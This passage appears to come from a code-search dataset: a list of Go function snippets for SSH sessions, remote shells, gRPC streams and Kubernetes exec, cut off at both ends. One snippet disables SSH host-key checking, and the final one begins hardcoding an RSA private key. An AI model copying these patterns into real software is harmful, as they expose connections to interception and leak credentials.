*dutcontrol.ConsoleResponse_SerialWrite:\n\t\t\t\twrite <- op.SerialWrite\n\t\t\tdefault:\n\t\t\t\ttesting.ContextLog(stream.Context(), \"Dutcontrol recv error, unknown message type: \", op)\n\t\t\t\tbreak Loop\n\t\t\t}\n\t\t}\n\t\tclose(data)\n\t\tclose(write)\n\t}()\n\treturn data, write, nil\n}", "func setStreamAsConnected() {\n\t_stats.StreamConnected = true\n\t_stats.LastConnectTime = utils.NullTime{Time: time.Now(), Valid: true}\n\t_stats.LastDisconnectTime = utils.NullTime{Time: time.Now(), Valid: false}\n\n\tStopOfflineCleanupTimer()\n\tstartOnlineCleanupTimer()\n\n\tif _yp != nil {\n\t\tgo _yp.Start()\n\t}\n\n\tsegmentPath := config.PublicHLSStoragePath\n\tif config.Config.S3.Enabled {\n\t\tsegmentPath = config.PrivateHLSStoragePath\n\t}\n\n\tgo func() {\n\t\t_transcoder = ffmpeg.NewTranscoder()\n\t\tif _broadcaster != nil {\n\t\t\t_transcoder.SetVideoOnly(_broadcaster.StreamDetails.VideoOnly)\n\t\t}\n\n\t\t_transcoder.TranscoderCompleted = func(error) {\n\t\t\tSetStreamAsDisconnected()\n\t\t}\n\t\t_transcoder.Start()\n\t}()\n\n\tffmpeg.StartThumbnailGenerator(segmentPath, config.Config.VideoSettings.HighestQualityStreamIndex)\n}", "func (h *Host) Exec(cmd string) error {\n\tsession, err := h.sshClient.NewSession()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer session.Close()\n\n\tstdout, err := session.StdoutPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tstderr, err := session.StderrPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlogrus.Debugf(\"executing command: %s\", cmd)\n\tif err := session.Start(cmd); err != nil {\n\t\treturn err\n\t}\n\n\tmultiReader := io.MultiReader(stdout, stderr)\n\toutputScanner := bufio.NewScanner(multiReader)\n\n\tfor outputScanner.Scan() {\n\t\tlogrus.Debugf(\"%s: %s\", h.FullAddress(), outputScanner.Text())\n\t}\n\tif err := outputScanner.Err(); err != nil {\n\t\tlogrus.Errorf(\"%s: %s\", h.FullAddress(), err.Error())\n\t}\n\n\treturn nil\n}", "func RegisterStreamCommands() []*ytapi.Command {\n\treturn []*ytapi.Command{\n\t\t&ytapi.Command{\n\t\t\tName: \"ListStreams\",\n\t\t\tDescription: \"List streams\",\n\t\t\tOptional: []*ytapi.Flag{&ytapi.FlagMaxResults},\n\t\t\tSetup: RegisterStreamFormat,\n\t\t\tExecute: ListStreams,\n\t\t},\n\t\t&ytapi.Command{\n\t\t\tName: \"DeleteStream\",\n\t\t\tDescription: \"Delete stream\",\n\t\t\tRequired: []*ytapi.Flag{&ytapi.FlagStream},\n\t\t\tExecute: DeleteStream,\n\t\t},\n\t\t&ytapi.Command{\n\t\t\tName: \"NewStream\",\n\t\t\tDescription: \"Create live stream\",\n\t\t\tRequired: []*ytapi.Flag{&ytapi.FlagTitle, &ytapi.FlagStreamResolution},\n\t\t\tOptional: []*ytapi.Flag{&ytapi.FlagDescription, &ytapi.FlagStreamType, &ytapi.FlagStreamReusable},\n\t\t\tSetup: RegisterStreamFormat,\n\t\t\tExecute: InsertStream,\n\t\t},\n\t}\n}", "func (c *Config) Shell(inReader io.Reader, outWriter, errWriter io.Writer) error {\n\terr := c.setClient()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer c.Close()\n\n\tsession, err := c.client.NewSession()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer session.Close()\n\n\tsession.Stdout = ansicolor.NewAnsiColorWriter(outWriter)\n\tsession.Stderr = ansicolor.NewAnsiColorWriter(errWriter)\n\tsession.Stdin = inReader\n\t// in, _ := session.StdinPipe()\n\n\tmodes := ssh.TerminalModes{\n\t\t// ssh.ECHO: 0, // Disable echoing\n\t\t// ssh.IGNCR: 1, // Ignore CR on input\n\t\tssh.ECHO: 1, // Print what I type\n\t\tssh.ECHOCTL: 0, // Don't print control chars\n\t\tssh.TTY_OP_ISPEED: 115200, // baud in\n\t\tssh.TTY_OP_OSPEED: 115200, // baud out\n\t}\n\n\th, w := 80, 40\n\tvar termFD int\n\tvar ok bool\n\tif termFD, ok = isTerminal(inReader); ok {\n\t\tw, h, _ = terminal.GetSize(termFD)\n\t}\n\n\ttermState, _ := terminal.MakeRaw(termFD)\n\tdefer terminal.Restore(termFD, termState)\n\n\t// Request pseudo terminal\n\t// if err := session.RequestPty(\"xterm\", h, w, modes); err != nil {\n\t// if err := session.RequestPty(\"xterm-256color\", h, w, modes); err != nil {\n\t// if err := session.RequestPty(\"vt220\", h, w, modes); err != nil {\n\t// if err := session.RequestPty(\"vt100\", h, w, modes); err != nil {\n\tif err := session.RequestPty(\"xterm-256color\", h, w, modes); err != nil {\n\t\treturn fmt.Errorf(\"request for pseudo terminal failed: %s\", err)\n\t}\n\n\t// Start remote shell\n\tif err := session.Shell(); err != nil {\n\t\treturn fmt.Errorf(\"failed to start shell: %s\", err)\n\t}\n\n\treturn session.Wait()\n\n\t// // Handle control + C\n\t// ch := make(chan os.Signal, 1)\n\t// signal.Notify(ch, os.Interrupt)\n\t// go func() {\n\t// \tfor {\n\t// \t\t<-ch\n\t// \t\tfmt.Println(\"^C\")\n\t// \t\tfmt.Fprint(in, \"\\n\")\n\t// \t\t//fmt.Fprint(in, '\\t')\n\t// \t}\n\t// }()\n\n\t// // Accepting commands\n\t// for {\n\t// \treader := bufio.NewReader(i)\n\t// \tstr, _ := reader.ReadString('\\n')\n\t// \tfmt.Fprint(in, str)\n\t// }\n}", "func (s *SSHOrch) InitSSHConnection(alias, username, server string) {\n\tconn, err := net.Dial(\"unix\", os.Getenv(\"SSH_AUTH_SOCK\"))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer conn.Close()\n\n\tag := agent.NewClient(conn)\n\tauths := []ssh.AuthMethod{ssh.PublicKeysCallback(ag.Signers)}\n\n\tconfig := &ssh.ClientConfig{\n\t\tUser: username,\n\t\tAuth: auths,\n\t}\nrelogin:\n\tclient, err := ssh.Dial(\"tcp\", server+\":22\", config)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\tsshRegister(username, server)\n\t\tgoto relogin\n\t}\n\ts.addLookup(username, server, client)\n\tif len(alias) > 0 {\n\t\ts.addLookupAlias(alias, client)\n\t}\n}", "func (c *subContext) openStream(ctx context.Context, epID epapi.ID, indCh chan<- indication.Indication) error {\n\tresponse, err := c.epClient.Get(ctx, epID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tconn, err := c.conns.Connect(fmt.Sprintf(\"%s:%d\", response.IP, response.Port))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tclient := termination.NewClient(conn)\n\tresponseCh := make(chan e2tapi.StreamResponse)\n\trequestCh, err := client.Stream(ctx, responseCh)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\trequestCh <- e2tapi.StreamRequest{\n\t\tAppID: e2tapi.AppID(c.config.AppID),\n\t\tInstanceID: e2tapi.InstanceID(c.config.InstanceID),\n\t\tSubscriptionID: e2tapi.SubscriptionID(c.sub.ID),\n\t}\n\n\tfor response := range responseCh {\n\t\tindCh <- indication.Indication{\n\t\t\tEncodingType: encoding.Type(response.Header.EncodingType),\n\t\t\tPayload: indication.Payload{\n\t\t\t\tHeader: response.IndicationHeader,\n\t\t\t\tMessage: response.IndicationMessage,\n\t\t\t},\n\t\t}\n\t}\n\treturn nil\n}", "func (client *SdnClient) SSHIntoSdnVM() error {\n\treturn utils.RunCommandForeground(\"ssh\", client.sshArgs()...)\n}", "func (c krpcClient) ChainStream(interceptors ...grpc.StreamClientInterceptor) grpc.DialOption {\n\treturn grpc.WithChainStreamInterceptor(interceptors...)\n}", "func ControlStream(conn net.Conn) *Control {\n\tconst pongChSize = 10\n\n\tctrl := &Control{\n\t\tconn: conn,\n\t\tpongCh: make(chan time.Time, pongChSize),\n\t\tdoneCh: make(chan struct{}),\n\t}\n\tgo ctrl.serve()\n\n\treturn ctrl\n}", "func (t *TestCluster) SSH(m platform.Machine, cmd string) ([]byte, error) {\n\tvar stdout, stderr []byte\n\tvar err error\n\tf := func() {\n\t\tstdout, stderr, err = m.SSH(cmd)\n\t}\n\n\terrMsg := fmt.Sprintf(\"ssh: %s\", cmd)\n\t// If f does not before the test timeout, the RunWithExecTimeoutCheck\n\t// will end this goroutine and mark the test as failed\n\tt.H.RunWithExecTimeoutCheck(f, errMsg)\n\tif len(stderr) > 0 {\n\t\tfor _, line := range strings.Split(string(stderr), \"\\n\") {\n\t\t\tt.Log(line)\n\t\t}\n\t}\n\treturn stdout, err\n}", "func InvokeCommand(ip, cmdStr string) (string, error) {\n\t// OpenSSH sessions terminate sporadically when a pty isn't allocated.\n\t// The -t flag doesn't work with OpenSSH on Windows, so we wrap the ssh call\n\t// within a bash session as a workaround, so that a pty is created.\n\tcmd := exec.Command(\"/bin/bash\")\n\tcmd.Stdin = strings.NewReader(fmt.Sprintf(sshTemplate, ip, cmdStr))\n\tout, err := cmd.CombinedOutput()\n\treturn strings.TrimSpace(string(out[:])), err\n}", "func (client *Client) Run(command string, silent bool) (output string, err error) {\n\tkeys := ssh.Auth{\n\t\tKeys: []string{client.PrivateKeyFile},\n\t}\n\tsshterm, err := ssh.NewNativeClient(client.User, client.Host, \"SSH-2.0-MyCustomClient-1.0\", client.Port, &keys, nil)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Failed to request shell - %s\", err)\n\t}\n\tif !silent {\n\t\tlog.Printf(\"Running: ssh -i \\\"%s\\\" %s@%s %s\", client.PrivateKeyFile, client.User, client.Host, command)\n\t}\n\tr, _, err := sshterm.Start(command)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Failed to start command - %s\", err)\n\t}\n\tsshterm.Wait()\n\tresponse, err := ioutil.ReadAll(r)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Failed to read response - %s\", err)\n\t}\n\treturn string(response), nil\n}", "func (s *SSHer) Connect() (err error) {\n\taddr := net.JoinHostPort(s.Host, s.Port)\n\tconfig := &ssh.ClientConfig{\n\t\tUser: s.User,\n\t\tAuth: []ssh.AuthMethod{\n\t\t\tssh.Password(s.Pass),\n\t\t},\n\t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n\t}\n\tif s.client, err = ssh.Dial(\"tcp\", addr, config); err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "func (c *SDKActor) Connect(address string) string {\n resultChan := make(chan string, 0)\n c.actions <- func() {\n fmt.Printf(\"Can open connection to %s\", address)\n\n result := c.execute(address)\n\n resultChan <- result\n }\n return <-resultChan\n}", "func cmdSSH() {\n\tswitch state := status(B2D.VM); state {\n\tcase vmUnregistered:\n\t\tlog.Fatalf(\"%s is not registered.\", B2D.VM)\n\tcase vmRunning:\n\t\tcmdParts := append(strings.Fields(B2D.SSHPrefix), fmt.Sprintf(\"%d\", B2D.SSHPort), \"docker@localhost\")\n\t\tif err := cmd(cmdParts[0], cmdParts[1:]...); err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\tdefault:\n\t\tlog.Fatalf(\"%s is not running.\", B2D.VM)\n\t}\n}", "func (h *Handler) ExecuteWithStream(podName, containerName string, command []string, stdin io.Reader, stdout, stderr io.Writer) error {\n\t// if pod not found, returns error.\n\tpod, err := h.Get(podName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// if containerName is empty, execute command in first container of the pod.\n\tif len(containerName) == 0 {\n\t\tcontainerName = pod.Spec.Containers[0].Name\n\t}\n\n\t// Prepare the API URL used to execute another process within the Pod.\n\t// In this case, we'll run a remote shell.\n\treq := h.restClient.Post().\n\t\tNamespace(h.namespace).\n\t\tResource(\"pods\").\n\t\tName(podName).\n\t\tSubResource(\"exec\").\n\t\tVersionedParams(&corev1.PodExecOptions{\n\t\t\tContainer: containerName,\n\t\t\tCommand: command,\n\t\t\tStdin: true,\n\t\t\tStdout: true,\n\t\t\tStderr: true,\n\t\t\tTTY: false,\n\t\t}, scheme.ParameterCodec)\n\n\texecutor, err := remotecommand.NewSPDYExecutor(h.config, \"POST\", req.URL())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Connect the process std(in,out,err) to the remote shell process.\n\treturn executor.Stream(remotecommand.StreamOptions{\n\t\tStdin: stdin,\n\t\tStdout: stdout,\n\t\tStderr: stderr,\n\t\tTty: false,\n\t})\n}", "func (client *NativeClient) Shell(args ...string) error {\n\tvar (\n\t\ttermWidth, termHeight = 80, 24\n\t)\n\tconn, err := ssh.Dial(\"tcp\", fmt.Sprintf(\"%s:%d\", client.Hostname, client.Port), &client.Config)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsession, err := conn.NewSession()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer session.Close()\n\n\tsession.Stdout = os.Stdout\n\tsession.Stderr = os.Stderr\n\tsession.Stdin = os.Stdin\n\n\tmodes := ssh.TerminalModes{\n\t\tssh.ECHO: 1,\n\t}\n\n\tfd := os.Stdin.Fd()\n\n\tif term.IsTerminal(fd) {\n\t\toldState, err := term.MakeRaw(fd)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tdefer term.RestoreTerminal(fd, oldState)\n\n\t\twinsize, err := term.GetWinsize(fd)\n\t\tif err == nil {\n\t\t\ttermWidth = int(winsize.Width)\n\t\t\ttermHeight = int(winsize.Height)\n\t\t}\n\t}\n\n\tif err := session.RequestPty(\"xterm\", termHeight, termWidth, modes); err != nil {\n\t\treturn err\n\t}\n\n\tif len(args) == 0 {\n\t\tif err := session.Shell(); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// monitor for sigwinch\n\t\tgo monWinCh(session, os.Stdout.Fd())\n\n\t\tsession.Wait()\n\t} else {\n\t\tsession.Run(strings.Join(args, \" \"))\n\t}\n\n\treturn nil\n}", "func SSHAgentSSOLogin(proxyAddr, connectorID string, pubKey []byte, ttl time.Duration, insecure bool, pool *x509.CertPool, protocol string, compatibility string) (*auth.SSHLoginResponse, error) {\n\tclt, proxyURL, err := initClient(proxyAddr, insecure, pool)\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\t// create one time encoding secret that we will use to verify\n\t// callback from proxy that is received over untrusted channel (HTTP)\n\tkeyBytes, err := secret.NewKey()\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\tdecryptor, err := secret.New(&secret.Config{KeyBytes: keyBytes})\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\twaitC := make(chan *auth.SSHLoginResponse, 1)\n\terrorC := make(chan error, 1)\n\tproxyURL.Path = \"/web/msg/error/login_failed\"\n\tredirectErrorURL := proxyURL.String()\n\tproxyURL.Path = \"/web/msg/info/login_success\"\n\tredirectSuccessURL := proxyURL.String()\n\n\tmakeHandler := func(fn func(http.ResponseWriter, *http.Request) (*auth.SSHLoginResponse, error)) http.Handler {\n\t\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tresponse, err := fn(w, r)\n\t\t\tif err != nil {\n\t\t\t\tif trace.IsNotFound(err) {\n\t\t\t\t\thttp.NotFound(w, r)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\terrorC <- err\n\t\t\t\thttp.Redirect(w, r, redirectErrorURL, http.StatusFound)\n\t\t\t\treturn\n\t\t\t}\n\t\t\twaitC <- response\n\t\t\thttp.Redirect(w, r, redirectSuccessURL, http.StatusFound)\n\t\t})\n\t}\n\n\tserver := httptest.NewServer(makeHandler(func(w http.ResponseWriter, r *http.Request) (*auth.SSHLoginResponse, error) {\n\t\tif r.URL.Path != \"/callback\" {\n\t\t\treturn nil, trace.NotFound(\"path not found\")\n\t\t}\n\t\tencrypted := r.URL.Query().Get(\"response\")\n\t\tif encrypted == \"\" {\n\t\t\treturn nil, trace.BadParameter(\"missing required query parameters in %v\", r.URL.String())\n\t\t}\n\n\t\tvar encryptedData *secret.SealedBytes\n\t\terr := json.Unmarshal([]byte(encrypted), &encryptedData)\n\t\tif err != nil {\n\t\t\treturn nil, trace.BadParameter(\"failed to decode response in %v\", r.URL.String())\n\t\t}\n\n\t\tout, err := decryptor.Open(encryptedData)\n\t\tif err != nil {\n\t\t\treturn nil, trace.BadParameter(\"failed to decode response: in %v, err: %v\", r.URL.String(), err)\n\t\t}\n\n\t\tvar re *auth.SSHLoginResponse\n\t\terr = json.Unmarshal([]byte(out), &re)\n\t\tif err != nil {\n\t\t\treturn nil, trace.BadParameter(\"failed to decode response: in %v, err: %v\", r.URL.String(), err)\n\t\t}\n\t\treturn re, nil\n\t}))\n\tdefer server.Close()\n\n\tu, err := url.Parse(server.URL + \"/callback\")\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\tquery := u.Query()\n\tquery.Set(\"secret\", secret.KeyToEncodedString(keyBytes))\n\tu.RawQuery = query.Encode()\n\n\tout, err := clt.PostJSON(clt.Endpoint(\"webapi\", protocol, \"login\", \"console\"), SSOLoginConsoleReq{\n\t\tRedirectURL: u.String(),\n\t\tPublicKey: pubKey,\n\t\tCertTTL: ttl,\n\t\tConnectorID: connectorID,\n\t\tCompatibility: compatibility,\n\t})\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\tvar re *SSOLoginConsoleResponse\n\terr = json.Unmarshal(out.Bytes(), &re)\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\tfmt.Printf(\"If browser window does not open automatically, open it by clicking on the link:\\n %v\\n\", re.RedirectURL)\n\n\tvar command = \"sensible-browser\"\n\tif runtime.GOOS == \"darwin\" {\n\t\tcommand = \"open\"\n\t}\n\tpath, err := exec.LookPath(command)\n\tif err == nil {\n\t\texec.Command(path, re.RedirectURL).Start()\n\t}\n\n\tlog.Infof(\"waiting for response on %v\", server.URL)\n\n\tselect {\n\tcase err := <-errorC:\n\t\tlog.Debugf(\"got error: %v\", err)\n\t\treturn nil, trace.Wrap(err)\n\tcase response := <-waitC:\n\t\tlog.Debugf(\"got response\")\n\t\treturn response, nil\n\tcase <-time.After(60 * time.Second):\n\t\tlog.Debugf(\"got timeout waiting for callback\")\n\t\treturn nil, trace.Wrap(trace.Errorf(\"timeout waiting for callback\"))\n\t}\n}", "func (sc *SSHClient) InteractiveCommand(cmd string) error {\n\tsession, err := sc.client.NewSession()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer session.Close()\n\tout, err := session.StdoutPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tin, err := session.StdinPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tgo processOut(out, in)\n\touterr, err := session.StderrPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tgo processOut(outerr, in)\n\terr = session.Shell()\n\tif err != nil {\n\t\treturn err\n\t}\n\tfmt.Fprintf(in, \"%s\\n\", cmd)\n\treturn session.Wait()\n}", "func syncIO(session *ssh.Session, client *ssh.Client, conn *websocket.Conn) {\n go func(*ssh.Session, *ssh.Client, *websocket.Conn) {\n sessionReader, err := session.StdoutPipe()\n if err != nil {\n log.Fatal(err)\n }\n log.Println(\"======================== Sync session output ======================\")\n defer func() {\n log.Println(\"======================== output: end ======================\")\n conn.Close()\n client.Close()\n session.Close()\n }()\n\n for {\n // set io.Writer of websocket\n outbuf := make([]byte, 8192)\n outn, err := sessionReader.Read(outbuf)\n if err != nil {\n log.Println(\"sshReader: \", err)\n return\n }\n// fmt.Fprint(os.Stdout, string(outbuf[:outn]))\n err = conn.WriteMessage(websocket.TextMessage, outbuf[:outn])\n if err != nil {\n log.Println(\"connWriter: \", err)\n return\n }\n }\n }(session, client, conn)\n\n go func(*ssh.Session, *ssh.Client, *websocket.Conn) {\n sessionWriter, err := session.StdinPipe()\n if err != nil {\n log.Fatal(err)\n }\n\n log.Println(\"======================== Sync session input ======================\")\n defer func() {\n log.Println(\"======================== input: end ======================\")\n conn.Close()\n client.Close()\n session.Close()\n }()\n\n for {\n // set up io.Reader of websocket\n _, reader, err := conn.NextReader()\n if err != nil {\n log.Println(\"connReaderCreator: \", err)\n return\n }\n\n dataTypeBuf := make([]byte, 1)\n _, err = reader.Read(dataTypeBuf)\n if err != nil {\n log.Print(err)\n return\n }\n\n buf := make([]byte, 1024)\n n, err := reader.Read(buf)\n if err != nil {\n log.Print(err)\n return\n }\n\n switch dataTypeBuf[0] {\n // when pass data\n case '1':\n _, err = sessionWriter.Write(buf[:n])\n if err != nil {\n log.Print(err)\n conn.WriteMessage(websocket.TextMessage, []byte(err.Error()))\n return\n }\n // when resize terminal\n case '0':\n resizeMessage := WindowSize{}\n err = json.Unmarshal(buf[:n], &resizeMessage)\n if err != nil {\n log.Print(err.Error())\n continue\n }\n err = session.WindowChange(resizeMessage.Height, resizeMessage.Width)\n if err != nil {\n log.Print(err.Error())\n conn.WriteMessage(websocket.TextMessage, []byte(err.Error()))\n return\n }\n // unexpected data\n default:\n log.Print(\"Unexpected data type\")\n }\n }\n }(session, client, conn)\n}", "func Connect(cmd *cobra.Command) (radio.Connector, error) {\n\tif cmd == nil {\n\t\treturn nil, errors.New(\"no cobra command given\")\n\t}\n\tconnector := connector{\n\t\tcmd: cmd,\n\t}\n\n\treturn &connector, nil\n}", "func testCommand(t *testing.T, client ssh.Client, command string) error {\n\t// To avoid mixing the output streams of multiple commands running in\n\t// parallel tests, we combine stdout and stderr on the remote host, and\n\t// capture stdout and write it to the test log here.\n\tstdout := new(bytes.Buffer)\n\tif err := client.Run(command+\" 2>&1\", stdout, os.Stderr); err != nil {\n\t\tt.Logf(\"`%s` failed with %v:\\n%s\", command, err, stdout.String())\n\t\treturn err\n\t}\n\treturn nil\n}", "func (s *p4RuntimeServer) StreamChannel(stream p4.P4Runtime_StreamChannelServer) error {\n\tfmt.Println(\"Starting bi-directional channel\")\n\tfor {\n\t\tinData, err := stream.Recv()\n\t\tif err == io.EOF {\n\t\t\treturn nil\n\t\t}\n\t\tfmt.Printf(\"%v\", inData)\n\t}\n\n\treturn nil\n}", "func (s krpcServer) ChainStream(interceptors ...grpc.StreamServerInterceptor) grpc.ServerOption {\n\treturn grpc.ChainStreamInterceptor(interceptors...)\n}", "func (s *BaseAspidaListener) EnterConnectionSSH(ctx *ConnectionSSHContext) {}", "func (c *Client) Run(ctx context.Context, cmds []*Command) error {\n\turl := c.Host + \":\" + c.Port\n\tclient, err := ssh.Dial(\"tcp\", url, c.Sshconfig)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error in ssh.Dial to %v %w\", url, err)\n\t}\n\n\tdefer client.Close()\n\tsession, err := client.NewSession()\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error in client.NewSession to %v %w\", url, err)\n\t}\n\tdefer session.Close()\n\n\tmodes := ssh.TerminalModes{\n\t\tssh.ECHO: 0, // disable echoing\n\t\tssh.TTY_OP_ISPEED: 14400, // input speed = 14.4kbaud\n\t\tssh.TTY_OP_OSPEED: 14400, // output speed = 14.4kbaud\n\t}\n\n\tif err := session.RequestPty(\"xterm\", 80, 40, modes); err != nil {\n\t\treturn fmt.Errorf(\"error in session.RequestPty to %v %w\", url, err)\n\t}\n\n\tw, err := session.StdinPipe()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error in session.StdinPipe to %v %w\", url, err)\n\t}\n\tr, err := session.StdoutPipe()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error in session.StdoutPipe to %v %w\", url, err)\n\t}\n\tin, out := listener(w, r, c.Prompt)\n\tif err := session.Start(\"/bin/sh\"); err != nil {\n\t\treturn fmt.Errorf(\"error in session.Start to %v %w\", url, err)\n\t}\n\n\t<-out // ignore login output\n\tfor _, cmd := range cmds {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn errors.New(\"canceled by context\")\n\n\t\tdefault:\n\t\t\tlogf(cmd.OutputLevel, \"[%v]: cmd [%v] starting...\", c.Host, cmd.Input)\n\n\t\t\tin <- cmd\n\t\t\terr := cmd.wait(ctx, out)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"[%v]: Error in cmd [%v] at waiting %w\", c.Host, cmd.Input, err)\n\t\t\t}\n\n\t\t\tif outputs, ok := cmd.output(); ok {\n\t\t\t\tfor _, output := range outputs {\n\t\t\t\t\tfmt.Println(output)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tdoNext, err := cmd.Callback(cmd)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"[%v]: Error in cmd [%v] Callback %w\", c.Host, cmd.Input, err)\n\t\t\t}\n\n\t\t\tif doNext && cmd.NextCommand != nil {\n\t\t\t\tnextCmd := cmd.NextCommand(cmd)\n\n\t\t\t\tlogf(nextCmd.OutputLevel, \"[%v]: next cmd [%v] starting...\", c.Host, nextCmd.Input)\n\n\t\t\t\tin <- nextCmd\n\t\t\t\terr = nextCmd.wait(ctx, out)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"[%v]: Error in next cmd [%v] at waiting %w\", c.Host, cmd.Input, err)\n\t\t\t\t}\n\n\t\t\t\tif outputs, ok := nextCmd.output(); ok {\n\t\t\t\t\tfor _, output := range outputs {\n\t\t\t\t\t\tfmt.Println(output)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t_, err := nextCmd.Callback(nextCmd)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"[%v]: Error in next cmd [%v] Callback %w\", c.Host, nextCmd.Input, err)\n\t\t\t\t}\n\n\t\t\t\tlogf(nextCmd.OutputLevel, \"[%v]: next cmd [%v] done\", c.Host, nextCmd.Input)\n\n\t\t\t}\n\n\t\t\tlogf(cmd.OutputLevel, \"[%v]: cmd [%v] done\", c.Host, cmd.Input)\n\t\t}\n\t}\n\tsession.Close()\n\n\treturn nil\n}", "func newStream(id uint32, frameSize int, sess *Session) *Stream {\n\ts := new(Stream)\n\ts.id = id\n\ts.chReadEvent = make(chan struct{}, 1)\n\ts.frameSize = frameSize\n\ts.sess = sess\n\ts.die = make(chan struct{})\n\treturn s\n}", "func (cfg *Config) StartStream() (*Stream, error) {\n\tif err := cfg.createCmd(); err != nil {\n\t\treturn nil, err\n\t}\n\tpt, err := pty.Start(cfg.cmd)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tstr := &Stream{\n\t\tcmd: cfg.cmd,\n\n\t\tpmu: sync.Mutex{},\n\t\tpt: pt,\n\n\t\twg: sync.WaitGroup{},\n\t\trmu: sync.RWMutex{},\n\n\t\t// pre-allocate\n\t\tqueue: make([]Row, 0, 500),\n\t\tpid2Row: make(map[int64]Row, 500),\n\t\terr: nil,\n\t\terrc: make(chan error, 1),\n\n\t\tready: false,\n\t\treadyc: make(chan struct{}, 1),\n\t}\n\tstr.rcond = sync.NewCond(&str.rmu)\n\n\tstr.wg.Add(1)\n\tgo str.enqueue()\n\tgo str.dequeue()\n\n\t<-str.readyc\n\treturn str, nil\n}", "func teeSSHStart(s *ssh.Session, cmd string, outB io.Writer, errB io.Writer, wg *sync.WaitGroup) error {\n\toutPipe, err := s.StdoutPipe()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"stdout\")\n\t}\n\n\terrPipe, err := s.StderrPipe()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"stderr\")\n\t}\n\n\tgo func() {\n\t\tif err := teePrefix(ErrPrefix, errPipe, errB, klog.V(8).Infof); err != nil {\n\t\t\tklog.Errorf(\"tee stderr: %v\", err)\n\t\t}\n\t\twg.Done()\n\t}()\n\tgo func() {\n\t\tif err := teePrefix(OutPrefix, outPipe, outB, klog.V(8).Infof); err != nil {\n\t\t\tklog.Errorf(\"tee stdout: %v\", err)\n\t\t}\n\t\twg.Done()\n\t}()\n\n\treturn s.Start(cmd)\n}", "func main() {\n\tprintln(\"ENTER THE ADDRESS TO CONNECT (ex: \\\"185.20.227.83:22\\\"):\") //185.20.227.83:22\n\tline, _, _ := bufio.NewReader(os.Stdin).ReadLine()\n\taddr := string(line)\n\tprintln(\"CHOOSE A CONNECTION METHOD \\\"PASSWORD\\\" OR \\\"KEY\\\" (ex: \\\"PASSWORD\\\"):\")\n\tline, _, _ = bufio.NewReader(os.Stdin).ReadLine()\n\tconnMethod := string(line)\n\n\tvar config *ssh.ClientConfig\n\tif connMethod == \"PASSWORD\" {\n\t\tconfig = getConfigWithPass()\n\t} else if connMethod == \"KEY\" {\n\t\tconfig = getConfigWithKey()\n\t} else {\n\t\tlog.Fatal(\"INCORRECT METHOD\")\n\t\treturn\n\t}\n\n\tclient, err := ssh.Dial(\"tcp\", addr, config)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tprintln(\"ENTER \\\"EXIT\\\" TO QUIT\")\n\tfor {\n\t\tfmt.Println(\"ENTER THE COMMAND:\")\n\t\tline, _, _ = bufio.NewReader(os.Stdin).ReadLine()\n\t\tcommand := string(line)\n\t\tfmt.Println(\"YOUR COMMAND:\", command)\n\t\tif command == \"EXIT\" {\n\t\t\tbreak\n\t\t}\n\t\tsendCommandToServer(client, command)\n\t}\n}", "func copyConnect(user, host string, port int) (*sftp.Client, error) {\n\tvar (\n\t\tauth \t\t\t[]ssh.AuthMethod\n\t\taddr \t\t\tstring\n\t\tclientConfig \t*ssh.ClientConfig\n\t\tsshClient \t\t*ssh.Client\n\t\tsftpClient \t\t*sftp.Client\n\t\terr \t\t\terror\n\t)\n\tauth = make([]ssh.AuthMethod, 0)\n\ttestPrivateKeys, err := ssh.ParseRawPrivateKey([]byte(`-----BEGIN RSA PRIVATE 